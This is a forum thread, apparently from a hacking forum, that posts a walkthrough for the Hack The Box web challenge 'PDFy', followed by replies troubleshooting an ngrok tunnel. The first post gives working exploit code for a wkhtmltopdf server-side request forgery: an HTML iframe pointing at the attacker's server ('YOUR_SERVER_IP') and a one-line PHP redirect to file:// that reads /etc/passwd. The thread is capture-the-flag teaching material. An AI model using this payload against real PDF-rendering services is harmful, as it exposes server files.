HTB Web - PDFy
by macavitysworld - Friday April 26, 2024 at 07:29 PM
#1
HTB WEB CHALLLENGE - PDFy

- Vulnerability: wkhtmltopdf SSRF - https://exploit-notes.hdks.org/exploit/w...opdf-ssrf/  

Steps To Exploit

-  Create index.html

<!DOCTYPE html> <body>     <iframe src="http://YOUR_SERVER_IP/flag.php?x=/etc/passwd" style="height:800px;width:100%"></iframe> </body> </html>

- Create flag.php
PHP Code:
<?php header('location:file://'.$_REQUEST['x']); ?>

- Create a local php server
php -S 127.0.0.1:8000

- Forward the local server via ngrok
ngrok tcp 127.0.0.1:8000

- You'll get a public url serving your html & php file

- Add the url to above mentioned html file

- use the same url on the challenge website and submit



REP++ would be appreciated

(04-26-2024, 07:29 PM)macavitysworld Wrote: HTB WEB CHALLLENGE - PDFy

- Vulnerability: wkhtmltopdf SSRF - https://exploit-notes.hdks.org/exploit/w...opdf-ssrf/  

Steps To Exploit

-  Create index.html

<!DOCTYPE html> <body>     <iframe src="http://YOUR_SERVER_IP/flag.php?x=/etc/passwd" style="height:800px;width:100%"></iframe> </body> </html>

- Create flag.php
PHP Code:
<?php header('location:file://'.$_REQUEST['x']); ?>

- Create a local php server
php -S 127.0.0.1:8000

- Forward the local server via ngrok
ngrok tcp 127.0.0.1:8000

- You'll get a public url serving your html & php file

- Add the url to above mentioned html file

- use the same url on the challenge website and submit



REP++ would be appreciated

Here is your flag:
Hidden Content
You must register or login to view this content.
Reply
#2
I am sending ngrok's link as input to the site, but I can't get any output... Just a blank pdf. Can you help me?

https://imgur.com/a/IHO8Bqv
Reply
#3
(04-28-2024, 10:47 AM)horacewells Wrote: I am sending ngrok's link as input to the site, but I can't get any output... Just a blank pdf. Can you help me?

https://imgur.com/a/IHO8Bqv

Are you forwarding via tcp or http?
Reply
#4
(04-28-2024, 11:02 AM)macavitysworld Wrote:
(04-28-2024, 10:47 AM)horacewells Wrote: I am sending ngrok's link as input to the site, but I can't get any output... Just a blank pdf. Can you help me?

https://imgur.com/a/IHO8Bqv

Are you forwarding via tcp or http?

You specified "ngrok tcp" but I used http.
Reply
#5
(04-28-2024, 03:40 PM)horacewells Wrote:
(04-28-2024, 11:02 AM)macavitysworld Wrote:
(04-28-2024, 10:47 AM)horacewells Wrote: I am sending ngrok's link as input to the site, but I can't get any output... Just a blank pdf. Can you help me?

https://imgur.com/a/IHO8Bqv

Are you forwarding via tcp or http?

You specified "ngrok tcp" but I used http.

If you don't have a paid ngrok plan, when you forward via http the page will land in a default warning page asking for confirmation to enter the site. So when you request the url on the challenge website, the default page will be called, not the file you hosted. That's the reason why I specified tcp instead of http. On tcp the default page is absent.
Reply
#6
Actually , this command -> ngrok tcp http://127.0.0.1:8000 doesn't work. It should be either ngrok tcp 127.0.0.1:8000 or ngrok http http://127.0.0.1:8000. When using ngrok tcp address ,something like tcp://0.... I got  such error: Invalid request (Malformed HTTP request). In case using ngrok http it doesnt work as well. I got just a blank pdf page
Reply
#7
(06-23-2024, 10:31 PM)maverick78 Wrote: Actually , this command -> ngrok tcp http://127.0.0.1:8000 doesn't work. It should be either ngrok tcp 127.0.0.1:8000 or ngrok http http://127.0.0.1:8000. When using ngrok tcp address ,something like tcp://0.... I got  such error: Invalid request (Malformed HTTP request). In case using ngrok http it doesnt work as well. I got just a blank pdf page

Yeah, sorry for that, I could't edit it later. But wouldn't be a problem if you know to use ngrok, rather than copy pasting. Also http would work if you have a paid plan!
Reply
#8
Thank you man!!!!

Reallly tough challenge. lmao
Reply
#9
yeah ! the exploit is in the <?php header('location:file://'.$_REQUEST['x']); ?> which can you make a get reqeust and make lfi wirh ssrf !
Reply
#10
interesting, thx btw for sharing
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 106 42,245 10-31-2026, 07:33 PM
Last Post: aistax
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 383 138,765 10-31-2026, 11:47 AM
Last Post: thaytoiyeucoay30nam
  HTB PWN- Oxidized ROP macavitysworld 4 1,052 10-29-2026, 01:01 PM
Last Post: A1Raid3r
  HTB - code + titanic walkthrough | free tony_boom23 3 7,270 10-25-2026, 06:35 AM
Last Post: A1Raid3r
  HTB apt lab note zapot 14 35,542 10-03-2026, 08:09 PM
Last Post: whuuaa



 Users browsing this thread: 1 Guest(s)